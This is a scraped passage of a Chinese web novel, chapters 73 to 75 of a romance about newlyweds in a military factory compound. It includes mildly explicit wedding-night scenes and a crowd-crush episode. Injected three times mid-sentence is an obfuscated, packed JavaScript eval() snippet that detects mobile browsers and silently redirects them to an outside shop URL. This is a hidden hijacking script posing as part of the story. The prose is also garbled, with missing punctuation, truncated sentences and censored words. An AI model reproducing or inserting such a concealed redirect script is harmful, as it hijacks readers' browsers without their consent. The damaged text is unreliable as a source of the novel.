幸好吴峥嵘提前装醉,没给那些人留下闹洞房的机会! 吴峥嵘一边跟她接吻,一边把汗湿的外套和衬衫脱下来,而后拦腰将人抱到了床上。 叶满枝碰到他紧绷起来的手臂线条,心脏也跟着绷了一下,忍不住夹紧双腿,小声哼唧道:“吴峥嵘,我想上厕所,你陪我去吧…… “现在?吴峥嵘停在上方。 “啊,外面的天都快黑了,我自己不敢去。 这院子哪哪都好,唯有一点不好——没有室内厕所。 这一片的平房是建厂时盖起来的,算是厂里最老的房子,那时的房屋设计都没有室内厕所,想上厕所就得去外面的公用厕所。 叶满枝跟家人搬进楼房也不过两年,以前住平房时也要用街头的公共厕所,她没什么不适应的。 但军工大院在夏季夜晚的点灯时间是八点,这会儿还不到八点,没有路灯的厕所里黑咕隆咚的,她自己不敢去。 吴峥嵘想起之前那块水渍,忍不住向她确认:“你真是想上厕所? “对啊。 叶满枝觉得他这问话有点奇怪,上厕所还能有假的呀?她从酒席散场的时候就有感觉了,只是一直没抽出空来解决。 她推着男人的肩膀,催促道:“吴峥嵘,我想上厕所,你快陪我一起去…… 话音刚落,房间窗外的墙根下,就突然传出“扑哧一声憋笑。 床上的小夫妻同时噤声,不约而同望向四敞大开的玻璃窗。 叶满枝惊愕地睁大双眸。 而吴峥嵘已经动作敏捷地跳下床,端起八斗橱上的搪瓷大茶缸,两步便跨到了敞开的窗户边。 他没给人留下半点反应时间,像给花浇水似的,将一缸子凉水,从左及右缓缓浇了下去。 窗外的墙根下立即传出好几声“哎呦和“我X。 杨树林一边扑棱头上的凉水,一边埋怨道:“秦祥,你小子怎么这么沉不住气?这要是给你派个侦查任务,你岂不是把全团的人都暴露了? 邹凯接话说:“秦祥,隐蔽侦查,0分。 “抱歉抱歉,对不住各位啊! 秦祥从窗户底下站起来,一面为自己那声“扑哧道歉,一面腹诽道,要是真让你们听了吴团长的墙根儿,我以后就不用在军代室混了。 明天就得被领导发配喽。 十来个小伙子依次从墙根下冒出头来,有吴峥嵘的同学,也有军代室的青年军官,还有几个同事家的半大小子。 吴峥嵘随手将窗帘拉上一半,遮挡住大床的方向,而后抬脚跨上窗台,纵身一跃跳了出去 。 叶满枝没想到他有门不走偏要走窗不由发出一声惊呼。 而她这声惊呼又再次引发了小年轻们的哄笑。 叶满枝:“……” 吴峥嵘在临近几人的屁股上踢了几脚“笑什么笑全都给我滚蛋!” 邹凯双手捂着屁股嚷嚷:“老吴你可太不厚道了!好不容易结了婚大家还想帮你热闹热闹呢你居然企图用装醉蒙混过关!” “哈哈我早就猜到他是装的了!婚礼上的酒盅那么浅哪有那么容易喝醉啊!幸亏咱们杀了一个回马枪!”杨树林点了点吴峥嵘“这小子狡诈得很!” 吴峥嵘还惦记着叶来芽要上厕所的事这些人一直不走岂不是要把人憋出毛病来! “行了你们热闹看了墙根儿也听了赶紧滚蛋吧。嘴上都有点把门的出去以后别胡说。” 邹凯招呼上一群小年轻走人嘻嘻哈哈道:“差不多就得了要是真把新娘子惹恼了小心以后不让咱们登门!” “哈哈哈!” 一群人像赶牛似的被吴峥嵘撵了出去。 他这边刚把院门合上便听见有人掐着嗓子用一种娇滴滴的语气说:“吴峥嵘我想上厕所你快陪我一起去~~~~” “哈哈哈哈……” 十来个人笑出了几十人的效果。 吴峥嵘:“……” 他锁好大门快步进了房间叶满枝正跪坐在床上脸色红得能滴出血来眼角也有些湿显然是听到那句调侃了。 他尽量若无其事地走过去把她的鞋子放到床边“不是要上厕所么?走吧我陪你去。” 叶满枝正是内心敏感的时候听到他提起厕所羞窘得都快哭了“连你也笑话我?” “我笑你干什么?你不是着急吗?”吴峥嵘揽着她的肩膀低声提议“外面有痰盂你要是不想去公共厕所在家里解决也行。我帮你倒……” “啊啊啊你不许说了!”叶满枝只是想想那个画面就觉得好羞耻她感觉自己快要冒烟了伸脚去踢他胸口“你们这些臭男人都不是好东西!” 吴峥嵘:“……” 这是他第一次被喊做臭男人。 也算是新鲜体验了。 叶满枝虽然觉得丢人,但厕所还是要上的,没什么骨气地让吴峥嵘陪她去上公共厕所。 可是女厕所里只有她一个人,掉落的水声甚至是有回音的。 无论是她,还是外面的人,都能清晰地听到。 她一边喊吴峥嵘,指挥他站远一些,一边控制自己别传出太大的水声。 一个厕所上得她面红耳赤,浑身是汗。 好在吴峥嵘在这方面还算体贴,等她出来以后,直接挑起话题问:“累了一天了,你一会儿要不要洗个澡? “咱家连厕所都没有,哪有条件洗澡啊? 叶满枝对他的情况是知道的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546347|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 夏天夜里在院子里冲凉,其他季节在厂里洗澡。 军代室所在的楼层西侧有个公共浴室,他们训练完以后,就在那里洗。 “我前几天给你买了一个澡盆,你可以用澡盆洗。 叶满枝脑子里的第一反应是家里的大洗衣盆。 麦多就是在洗衣盆里洗澡的。 吴峥嵘不会也想让她坐进洗衣盆里吧? 然而,吴峥嵘给她买的确实是澡盆。 椭圆形的铁皮桶,高度不到一米,像她这样身材的女同志,可以蜷着腿半躺进去。 但个子太高的男同志,比如军代表同志,恐怕就不合适了。 叶满枝还从没用过浴桶呢,语气兴奋地问:“你怎么想起来给我买洗澡盆啊? “你住楼房的时候,夏天能在水房洗澡,到了咱家这里,厕所已经那样了,在洗澡这方面总不能再让你受委屈吧? 叶满枝高兴地拍拍铁皮桶,“我哪有那么娇气呀!都可以克服克服的! 望着她这副言不由衷的样子,吴峥嵘轻笑一声,出去给她烧洗澡水了。 * 16号院虽然比其他院子的面积小一些,但也是正经三室的格局。 吴峥嵘之前只用了一间卧室和一间书房,剩下一个小房间用于堆放杂物,基本是闲置的。 这会儿就被暂时拿来充当了叶满枝的浴室。 她在大澡盆里泡了许久,等到水温渐渐变凉,手指的皮肤也泡得发皱了,终于磨磨蹭蹭跨出了浴桶。 慢腾腾地将身上的水珠擦干后,叶满枝对 着衣架上的衣物犹豫半晌还是把内衣穿了起来。 也许是泡的时间太久了她觉得自己有点腿软呼吸也有些困难。 蹲在地上艰难选择了一阵最终放弃了她平时睡觉穿的背心和短裤一咬牙把她洗澡前偷偷运进来的毛巾被披在了身上。 而后深吸一口气攥着胸前的毛巾被拉开门走了出去。 在她漫长的洗澡过程中吴峥嵘已经在院子里冲过一个战斗澡了。 这会儿正坐在床边等她。 就像他身处陌生环境依然身姿笔挺不会左顾右盼一样他等人的时候也非常专注。 专注的表现就是不会用书本或其他事物转移自己的注意力只一心一意地等着。 当然这会儿让他看书他也看不进去没必要装模作样。 所以浴室的房门刚被拉开他就将目光移了过去也在第一时间看到了裹着毛巾被出现的叶来芽。 “过来我帮你擦擦头发。” 叶满枝趿拉着拖鞋无声行至他身前感觉有毛巾覆到了自己的头发上。 也许是被热水泡的也许是别的什么原因她现在从脸颊到脖子都是烫的吴峥嵘帮她把头发擦到半干手指隔着毛巾按到她头皮时让她发顶过电似的发麻忍不住哼了一声。 这声轻哼像是触碰了什么开关吴峥嵘将毛巾扔到一边打横将她抱起放到了床上。 叶满枝脚下腾空紧张地去搂他的脖子攥在身前的毛巾被也随着她的松手而散开。 一件大红色的苏式XX露了出来。 吴峥嵘垂眸确认了一眼“换了?” “嗯。” 之前那件的布料太厚了夏天穿有些闷缝纫机到手以后她自己做了一件新的。 只不过她没有精钢挂钩用更简单的方式代替了。 吴峥嵘双臂撑在她的上方神色和眼神比验收军工产品时还认真。 “我能碰吗?” 叶满枝心说都到这时候了我说不能你就不碰呀! 但她心里莫名紧张 从里面弹跳出来。 她听着上方加重的呼吸,掩耳盗铃似的闭上双眼,抓住身侧紧绷的手臂问:“他们不会回来吧? “谁? 吴峥嵘的目光随着她的呼吸晃动。 叶满枝睁眼对上他的视线,用胳膊捂住胸口,不给他看,“哎呀,就是你的那些战友!那群臭男人! “早就走了。 “他们之前也走了,还不是偷偷跑回来了!你再去检查一下! “…… 吴峥嵘猛吸一口气,俯身在她唇上裹了一口,下床检查门窗去了。 “你把大门锁好,叶满枝躺在床上指挥,“窗户也要关上。 吴峥嵘一个指令一个动作,一一照办后,重新返回来,又听他家小叶同志说:“你把电灯也关了! “灯就别关了吧? 叶满枝抿唇沉默了一阵没再吭声,算是默认了他不关灯的请求。 可是,等到男人重新覆上来时,她却把自己身下的毛巾被抖开,将两人从头到脚盖住了。 “来芽,门窗紧闭,还盖个被子,你不怕热么? “不怕。 叶满枝嘴硬,伸手搂住他愈加紧绷的腰背。 …… 然而,苏式XX掉落后,内里被揉捏裹住,她躲在毛巾被里面,很快就觉得透不过气了。 红肿的唇瓣不自觉张开,肩膀抵住床褥大口喘息,毛巾被撑起的这方小空间里,全是交缠的呼吸和咕叽声。 叶满枝将被子掀开一条缝,深深透过一口气后,又搂紧他的脖子,嘴唇下意识去寻找他的耳垂。 在耳边的呼吸频率越来越快时,吴峥嵘终于不顾她的阻挠,将那条碍事的毛巾被扯开扔到了地上。 然后让开那块有些沾湿的褥子,连接着将人抵到了大床的另一侧。 视野里变得明亮,叶满枝紧盯面前通红的俊脸和脖颈,有汗珠沿着精致的下颚滴落。 她觉得自己就像一叶身处险境的扁舟。 惊涛拍岸,激流涌动。 她却只能将腿搭在高处,随波逐流。 余光里瞥见刚刚躺过的地方,叶满枝又羞耻地紧闭上眼睛。 她以后都不好意思吐槽吴峥嵘打的这张大床了…… 作者有话要说 一百个红包,明天见~ 第 74 章 吴峥嵘:我媳妇最... 第74章吴峥嵘:我媳妇最 叶满枝醒来时,正午的阳光流进玻璃窗,给八斗橱上的结婚照镀上一层金色的光晕。 她怔怔地望着那张结婚相片,在心里回味了一下刚刚做的梦。 她梦到今早的起床号吹响时,她八爪鱼似的抱住吴峥嵘,不让他起来。 没过多久,出操号好像也响了。 六点和六点半的这两次号声,每天都要扰人清梦,为了堵住耳朵多睡一会儿,她习惯性地扯过被子把脑袋蒙住,顺便好心地把搂着她的吴峥嵘也蒙住了。 然后她就梦到自己被挤进去,跟着他一起出了个早操。 叶满枝望着相片里微笑的男人出神,从昨晚到现在,酸胀感好像并没有多少缓解,这让她不太确定那到底是梦境还是真实发生过的。 吴峥嵘进门时,见她眼神失焦,明显在发呆,不由在她睡出薄汗的额头上摸了摸说:“起来吃午饭吧?” 叶满枝听到他的声音,下意识将胳膊挡在胸前,目光快速在床上睃巡,寻找毛巾被的下落。 “我的毛巾被呢?” “洗了。” “床单呢?”叶满枝退而求其次。 “一起洗的。” 叶满枝扭头往窗外望了一眼,果然看到院子里晾着她的浅粉色毛巾被和一条大牡丹床单。 她脸上立即染上红晕,埋怨道:“你干嘛在今天洗床单和被子啊?” 这时候显着你勤快了? 见她双手遮得实在辛苦,吴峥嵘在她额头上亲了亲,把椅子上的内衣裤递过去,“你不是要盖被子么,我不洗出来,你今晚盖什么?” 吴峥嵘夏天从来不盖被,这种毛巾被对他没用处,他也就没买过。 他上午在柜子里翻找了一下,除了几件新做的苏式XX,并没找到其他被子。 叶来芽只带来这一条毛巾被,但那上面什么都有,不洗今晚用不了。 “我可以找别的东西盖呀!”叶满枝连衣服都顾不上穿了,从床上跪坐起来,一手挡住自己,一手推着他说,“你赶紧把那床单和被子拿进来,晾在屋里!” 他俩昨天刚办婚礼,今天上午就把床单和被子洗了,这不是明摆着告诉别人他 俩那什么了还很那什么嘛! “咱俩结婚的事邻居们都知道过夫妻生活是正常的这有什么可害臊的?” 吴峥嵘觉得他家小叶主任有时热情得让人招架不住有时又脸皮薄得离谱。 用那什么苏式奶罩蛊惑他的人是她因为一条床单就从头红到脚的也是她。 叶满枝被衣冠楚楚的军代表同志看得不自在快速穿好内衣后终于有了说话的底气。 “他们知道是他们的事反正你不能把床单晾在院子里!”她想了想又补充说“至少这几天不能晾!” 吴峥嵘不理解新婚妻子羞怯的点在哪里但愿意尊重于是依言把床单扯下来转移到屋里了。 “这回可以了吧?去洗漱吃饭吧。” 叶满枝满意地在他脸上啵了一口牙膏沫子 吴峥嵘抬手擦掉脸上的牙膏心想昨天他老丈人在酒桌上说的话果然是酒后吐真言。 老叶说“我家这个小叶从小就嘴甜最会给人灌迷魂汤了以后你就等着享福吧。” “对了我去食堂打饭的时候遇上咱爸了他让咱俩抽空回去一趟。” 叶满枝坐到桌前吃午饭感觉坐下去的时候不太舒服只在椅子上搭了一个边边“什么事不能等我回门的时候再说?” “据说是为了礼金。”吴峥嵘往她椅子上放了一个厚坐垫继续道“你要是想回我就陪你回去。” “礼金先让我爸妈收着吧!咱俩这几天千万别回去!”叶满枝很有经验地跟他蛐蛐“昨天的酒席上还有不少剩菜肯定全被他们打包带回家了。这种酒席上的剩菜不吃个两三天根本吃不完!我才不想回去吃剩菜呢!” 叶满枝不是不能吃剩菜自家人的剩菜她从来不挑剔。 但婚礼上的人实在太多了所有人的筷子都在盘子里搅和哪怕剩的全是大鱼大肉她也吃不下。 她因此常被亲爹批评矫情。 想到亲爹叶满枝连忙问:“你昨天在我家的时候躲到屋里跟我爸说什么来着?” “没说什么就劝了他两句。” “怎么劝的啊?” 她以 为老叶会从头哭到尾,眼泪哗哗地送她出门呢,没想到能在最后关头收住。 “还能怎么劝?咱爸舍不得你,我就承诺以后让你天天回娘家吃饭,只要我有空也会陪你回去。 “这种承诺你也敢许!叶满枝瞪大眼睛问,“万一我没空呢? “你不是每天中午回家吃午饭么?怎么会没空? 他俩工作都挺忙,婚前就已经商量好了,工作日不做饭,周末可以自己下厨或下馆子吃点好的。 小叶主任结婚以后照样可以回娘家吃午饭,顺便睡个午觉。 其实跟以前没多大区别。 吴峥嵘往八斗橱的抽屉里扫了一眼,“咱家的存折、现金和票证都在那里,你看看每月应该交多少伙食费。结了婚,还要带个拖油瓶一起回去,伙食费总要多交点。 叶满枝早把午饭的事忘了,想到自己以后还能天天回家见到妈妈,她立即雀跃起来,笑眯眯道:“伙食费的事再说吧,反正咱俩休婚假这三天不能回去,我不想吃剩菜。 他俩难得有三天完整的假期。 叶满枝早就想好了,这三天要跟吴峥嵘腻在一块儿,适应一下夫妻生活。 她刚到了新家,又突然休假,一时间不知道该干点什么,就跟着吴峥嵘团团转,看他用打床剩余的木料做板凳。 吴峥嵘原想给她留一些休养时间,这才随便找个由头去院子里做手工了。 但叶来芽一直跟进跟出,跟得他心浮气躁,真心佩服起柳下惠来。 他将削到一半的木料放下,在她屁股上拍了拍说,“你去换身衣服吧,咱们上街逛逛。 再让她跟下去,很难不白日宣淫了。 叶满枝问:“今天要去看看爷爷奶奶吗? 她毕竟是新媳妇,按规矩是要去看看的。 “今天周一,吴院长要上班,奶奶也要参加读书会。吴峥嵘看了眼手表说,“你不是想看话剧么,咱们可以先看一场话剧,晚上再去那边吃晚饭。 叶满枝回屋换了件漂亮裙子,满心欢喜地跟吴峥嵘出门约会了。 话剧团最近正在上演两出剧目,一个是《妯娌之间》,另一个是契诃夫的《求婚》。 两人都对妯娌之间的事不感兴趣,于是就买票看 了一场《求婚》。 “你觉不觉得演员台词有点肉麻啊?叶满枝拉着他的手小声问。 “哪里肉麻? “就是称呼啊。 吴峥嵘偏头看着她笑,“你是说‘亲爱的’、‘我的漂亮人儿’和‘我的好宝贝’么? 叶满枝莫名脸热,还有点想笑,偷偷在他手臂上捶了一下,“我跟你说正经的呢! “我说的也是正经的。吴峥嵘低声说,“外国剧本就这样,很多小说里比这个喊得还露骨呢。 叶满枝第一次看《求婚》的时候,就觉得演员台词有点肉麻,“我以为这种话剧不会再重演了,没想到今年又排了好几场。 “称呼虽然肉麻,但这些对话基本都发生在丘布珂夫和洛莫夫之间,那是老丈人和未来女婿的关系。男女主角之间反而比较正常,只要不是发生在男女之间的,这出话剧就能演很久。 叶满枝杵着下巴看向他,也许是成了夫妻的缘故,她觉得穿着新衬衫的军代表同志可俊俏了,忍不住学着丘布珂夫的口吻说了句:“Голубушка. “什么?吴峥嵘挑眉问。 叶满枝将目光移回舞台,“不告诉你。 * 夫妻俩从话剧团出来时,天色已经暗了下来。 两人前往公共汽车站的时候,正巧碰上一大群工人举着彩旗和横幅游行。 看横幅上的内容,好像是庆祝手工业全行业合作化的。 走在最前面的是两个青年突击队的游行队伍。 叶满枝之前在区里搞合作社转厂试点,对这个全行业合作化的工作也是知道的。 没想到人家那么快就圆满完成任务了。 叶满枝向最近的一个工人询问:“同志,大家怎么在傍晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546348|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 游行啊?这么大的事,真应该好好宣传宣传。 “我们上午去市人委报过喜了,晚上还要在人民公园放烟花庆祝,游行队伍是去人民公园的! 叶满枝惊讶地问:“搞这么大的阵仗啊? 居然还要放烟花! 市里只在春节和国庆节放过烟花,其他时间她还真没见过。 她连忙扭头去看身边的男人。 吴峥嵘见她双眸亮晶晶的,满眼都写着“ 想看烟花,低声调侃道:“咱妈选的日子确实挺好的,昨晚刚入洞房,今天就有烟花庆祝了。 “你少臭美了,人家是庆祝全行业合作化的, 她从游行的工人手里接过两面小彩旗,分给吴峥嵘一面,两人挥舞着旗子跟随队伍一起游行。 缓缓往人民公园的方向行进。 像他们这样为了看烟花,加入游行队伍的市民不在少数。 整个游行队伍的规模特别壮观。 周围的人太多了,吴峥嵘担心把她挤丢了,顾不上周围的异样目光,一直紧紧牵着她的手。 等到队伍距离人民公园还有不到两百米的时候,他眺向前方黑压压的人群,果断道:“来芽,人太多了,咱们就不进公园凑热闹了吧?在外面看也是一样的。 难得有机会近距离欣赏烟花,叶满枝想去凑热闹,但她被人群挤得心里发慌,踟躇片刻后点点头,被吴峥嵘搂到身前,揽着肩膀挤出了一眼望不到头的游行队伍。 公园对面有个公私合营的冷饮店,吴峥嵘给她买了两个球的冰糕,让她边吃边等,自己则去借用旁边国营饭店的电话,往附近派出所拨了号。 这种大型集会容易出乱子,今天这游行队伍像是临时组织的,有那么多市民参加,却没见到几个公安。 这样并不合理。 叶满枝听他给派出所打了电话,紧张地问:“不会出事吧? “不会,以防万一而已,让他们出动警力维持秩序。游行的规模太大了,我瞧着那公园的大门都快被市民挤爆了。 吴峥嵘的话音刚落,便听到马路对面的公园门口,引起一阵很大的喧哗。 有个抱着孩子的妇女,一边捂着孩子不断流血的额头,一边大喊着什么。 路边停着一辆洒水车,司机跳下来,将女人和孩子带上了车,很快便往人民医院的方向驶去。 小插曲过后,其他市民继续涌入人民公园。 叶满枝突然就没了看烟花的兴致,拉着吴峥嵘说:“时间太晚了,咱们先去看爷爷奶奶吧? 吴峥嵘看出她是被吓到了,带着她远离了游行的人群。 这场烟花活动搞得很盛大,住在市中心的好多 市民都看到了璀璨的烟火。 叶满枝次日早上在食堂听到大家的讨论时,心里还有些遗憾,可是当她傍晚听说,人民公园里发生了踩踏事件,出现了人员伤亡的时候,就只剩后怕了,整个晚上都心神不宁的。 为了安抚她,吴峥嵘说了不少宽慰的话,还带她一起出了操。 叶满枝死死咬着嘴唇,喉咙里的声音被撞得支离破碎。 好不容易借着疲乏沉沉睡去,又在半夜时分突然醒了过来。 她伸手将身后的男人轻轻摇醒。 吴峥嵘警觉地睁开眼,嗓音略有些沙哑地问:“怎么了?” 他以为她有哪里不舒服,或是想去上厕所了。 然而,叶满枝却转过身,搂着他的腰问:“你说,人民公园的踩踏事件,会不会影响市长来咱们光明街上课的安排啊?毕竟都是大型集会啊!而且两个活动的举办时间还挨得这么近!市长要是不来讲课了,那我们之前的工作不是全都白忙活了吗?” 吴峥嵘:“……” 叶满枝自顾自地忧愁道:“不行,好多居民还不知道市长要来上课的消息呢,我明天就得赶紧把这个消息放出去,把市长要来讲课的事情坐实,让全街所有居民都知道!到时候哪怕市长想取消活动,也要考虑一下群众的心情吧?你说我这样做,能行不?” 吴峥嵘:“……” 作者有话要说 晚9点还有一更。 一百个红包,晚上见~ 第 75 章 “难怪人家天天洗... 第75章“难怪人家天天洗 大半夜被媳妇唤醒讨论工作,让吴峥嵘不由开始反思自己。 这两天虽是新婚假期,但是考虑到叶来芽年纪比他小很多,也许还需要时间适应,在夫妻生活方面,他索取得很克制。 白天安排有益身心健康的活动,晚上也不过是从大床左边换到右边,或从右边挪到左边。 叶来芽每次哼哼唧唧喊累时,他都以为她是真的累了。 “我跟你说话呢!”叶满枝问话后,等了半天都没等到男人答复,便凭感觉在他嘴唇上啾了一下,“你又睡着啦?” 黑咕隆咚的,不知亲到了哪里,就当是嘴唇吧。 “没有,我在考虑问题。”吴峥嵘感觉自己的脖子被舔得湿乎乎的。 “什么问题啊?” 男人没应声,不声不响,干脆利落地抬腿闯了进去。 说着话就被挑起左腿的叶满枝:“!!!” 她羞恼地在他胸膛上捶了两下,“我跟你谈正事呢!” “大半夜的,有什么正事不能明天再谈?” “那不是突然想起来的嘛,不问问你,我睡不着!”叶满枝贴着他催促,“你快回答我!” “你先回答我,‘噶路布是噶’是什么意思?” 叶满枝愣了一下,在漆黑的夜里笑出声来。 她昨天在话剧院说的话,这人居然还惦记呢! “不告诉你。” 吴峥嵘将台词里出现过的称呼,快速在心里过了一遍。 一边动作,一边猜测,“亲爱的?” 他觉得应该是这个意思,但身前没有回应。 隔了好半晌,他又问:“我的漂亮人儿?” 叶满枝羞窘地抬手捂他的嘴,“你别说了。” 演员在舞台上表演的时候,语调是夸张的,除了肉麻,她没觉得有什么。 但吴峥嵘嗓音温沉,语气正经,疑问句说得像陈述句,听得她脚趾都跟着蜷了起来。 她将男人的嘴堵住,室内总算是安静了。 蝈蝈声嘶力竭的叫声,顺着四敞的木窗钻进来,适时掩盖了交缠的喘息。 不知过了多久,上方再次有了动静。 “我的天使?”吴峥嵘的声调与动作一样不紧不慢“是我的天使吗?” “不是不是!”叶满枝摇着头哭出声“我都让你别说了!” 黑暗中眼角的泪水被什么东西卷走又很快涌出新的。 男人箍紧怀里的人声线带着颠簸“不是我的天使那就是我的好宝贝了……” 叶满枝眼泪淌得汹涌咬着唇瓣不肯应声。 吴峥嵘这天晚上没能如愿得到答案但是好像打开了水龙头。 …… 婚假休息三天叶满枝三天都是睡到午饭时间才醒的。 前两天也还罢了但她第三天还有正事呢! 人民大课堂开课在即却发生了人民公园的踩踏事件她心里总觉得不稳妥想提前销假回单位做一些准备工作。 可是她今天又睡到了中午! 而且眼睛还是肿的她这样怎么去单位上班啊? 吴峥嵘在书房里听到了动静便放下书过来找她想问问她中午在家吃还是出去吃。 叶满枝想起他昨晚的那些话羞囧地背过身去不想搭理他被问得急了就嘟哝道:“都怪你给我拖后腿我今天还想去给居民们宣传一下人民大课堂呢!” 昨晚吴峥嵘对她的羞耻心和事业心都有了全新的认识以防影响家庭和谐他已经在今天上午想办法弥补了。 “报纸上没报人民公园的踩踏新闻不过我帮你打听了一下当时的情况。那天有大批市民从公园后门涌入 闻言叶满枝赶紧转过来问:“伤亡情况怎么样啊?” “截至今天早上2死11重伤32轻伤。” “……”叶满枝喃喃“这么严重啊?今天上午有人来找过我吗?” “没有。” 叶满枝趴在床上琢磨如果市长要取消活动街道的同事应该会来通知她。 既然没通知就说明活动还会继续。 市长21号来开课当前最重要的还是在群众间做好安全宣传工作同时向公安局请求支援只靠光明派出所那点警力显然是不够的。 人民公园闹出那么大的乱子穆区长应该听说了吧? 也许已经向区分局或市局求助了。 那么街道现在要做的,就是尽快将开课时间通知给大家,同时做好安全动员工作。 想通了这一点,叶满枝再次嗔道:“都怪你!要不我今天上午就能通知好几个居委会了。” 如果是同龄夫妻,被她这样再三埋怨,小两口可能已经开始斗嘴了。 不过,吴峥嵘早就过了跟人斗嘴的年纪,一面帮她从衣柜里挑裙子,一面说:“靠你们挨家挨户去通知,要通知到什么时候?光明街的居民一半都是656厂的,市长开课的时候,工人们也要去听,回头我去广播站说一声,在厂区和家属院里广播一下。” “咱俩现在是一家的,大家都知道人民大课堂是街道组织的,你再去广播站说这件事,对你影响怪不好的。这本来就是街道的工作,我自己去跟广播站交涉就行了。”叶满枝往隔壁院子指了指,“再说,我现在近水楼台,可以找苏工的爱人帮忙。” “你还认识苏工的爱人呢?” 16号院只有一个邻居,就是隔壁15号的苏志康,656厂的副总工程师。 苏工刚满四十岁,爱人比他小十岁。 吴峥嵘独居的时候,与对方只是点头之交,在路上遇到了就客气打声招呼,即使是邻居也没什么来往。 “我认识啊!之前跟我妈往这边运嫁妆的时候,遇到过隔壁的常姐,她跟我妈都姓常,算是本家吧,我们那天在咱家院子里聊了一会儿。” “苏工跟你是前后脚调来厂里的,听说常姐以前在他们当地的广播电台当播音员,苏工调来656厂以后,市人广没有编制,她就暂时留在厂里当广播员了。广播里好多重要新闻都是她读的呢,我中午经常听,不过,常姐不太爱说话,为人好像挺清冷的,不知道她愿不愿意帮忙。” 吴峥嵘将挑好的裙子递给她,惊讶道:“你连她以前是干什么的都知道?” 他在隔壁住了两年,连人家全名都没问过。 还不如叶来芽这刚搬进来两天的。 “女同志聊天嘛,聊着聊着就什么都知道了。”叶满枝抖开那件月白色的半袖旗袍,迟疑地问,“在家穿什么旗袍啊?” “不在家穿,你还想穿到单位去?” “…… 叶满枝觉得他说得好像挺有道理的,除了参加国风音乐会的演出,她现在真的没什么机会穿旗袍了,要不还是在家臭美一下吧? 她快速起床洗漱,换上了旗袍,看了眼桌上的闹表说:“午休快要结束了,我得赶紧去隔壁找常姐帮帮忙!苏工和常姐是回民,他俩每天中午回家吃饭,我这会儿过去,时间应该正合适。 吴峥嵘:“…… 他已经有点好奇小叶主任的消息渠道了。 * 隔壁的15号院里,常海棠也在跟男人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546349|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘀咕旁边的邻居。 “那吴团长跟他媳妇,举办婚礼也就三天吧? “嗯,上周日刚办的婚礼。 苏志康一边翻书,一边啃馒头,还要分心跟媳妇说话。 “我的天啊!老苏,你是没看见,那吴团长结婚才三天,已经洗了两次床单了!我上午回来做饭的时候,刚好瞧见他把洗好的床单拿进屋去。很有可能昨天也洗了,只是我没看到! 苏志康:“…… 常海棠在房间里环视一圈,继续感叹道:“他洗了床单居然不晾在院子里!你说这房子里哪有能晾晒的地方? “不晾在院子里就是不想被人看见,你也是有知识的女性,非礼勿视你还不懂么? “我又不是故意看的!这不是私下跟你说说么! 常海棠将韭菜炒鸡蛋里的鸡蛋都挑到自己碗里,把剩下的半盘子韭菜全推给了他。 “多吃点。 苏志康:“…… 夫妻俩一起吃过午饭,刚起身收拾了碗筷,外面的大门就被人敲响了。 常海棠放下东西去开门,发现来人居然是刚刚被她八卦过的吴团长夫妻! 这让她不由有些心虚,尽量露出微笑招呼道:“叶主任和吴团长来了?快请进! “常姐,我是来给你送喜糖的!我们周末办婚礼的时候,没见你跟苏工一起去吃席,咱们邻居之间住得这么近,当然得给你补一份喜糖啦! 常海棠没料到她会直接把喜糖送上门来。 老苏跟着其他厂领导凑份子,给军代表随了一份礼。 尽管请柬上写的是请他携家属出席,但他只出了一份钱,再带家属就不合适了, 而且常海棠跟这对夫妻没什么交情,这种场合不去也没什么。 她接过红纸包的喜糖,将两人往屋里让。 叶满枝笑道:“我有事找常姐说说话,我家吴团长刚吃了午饭,就不让他进去了。 常海棠猜测,这刚吃了午饭的意思,可能是午饭时吃了猪肉,就不让吴团长进门了。 她心里对这个小媳妇生出些好感,脸上的笑也更自然了些。 “那快进来吧,有什么事咱们坐下说! 叶满枝让军代表同志在外面稍等,自己则跟着她进屋,将来意简单介绍了一遍。 “借用厂里的广播是吧?你说的这事问题应该不大,市长开课算是大事了,提前做做动员工作应该是可以的。叶主任,我下午先去厂里跟领导提一提,但你要提前把广播稿准备好! “行,那我先回去写一份广播稿,常姐,你在这方面是专业的,到时候还得请你帮我润色一下! 见她如此爽快,叶满枝心里登时涌上喜悦。 这位邻居姐姐虽然瞧着有点清冷,但也算是个热心肠呐! 吴峥嵘以前没成家,要适当跟其他领导的家属避嫌,基本不跟人家交际。这会儿他俩结了婚,她就可以作为家庭代表跟邻居们走动起来了! 远亲不如近邻,她觉得邻居姐姐还挺不错的! 苏工两口子下午还要上班,叶满枝说完正事就向常姐道谢,起身告辞了。 常海棠将她送出门,眼见这对小夫妻进了隔壁的院子,她才重新将院门关上。 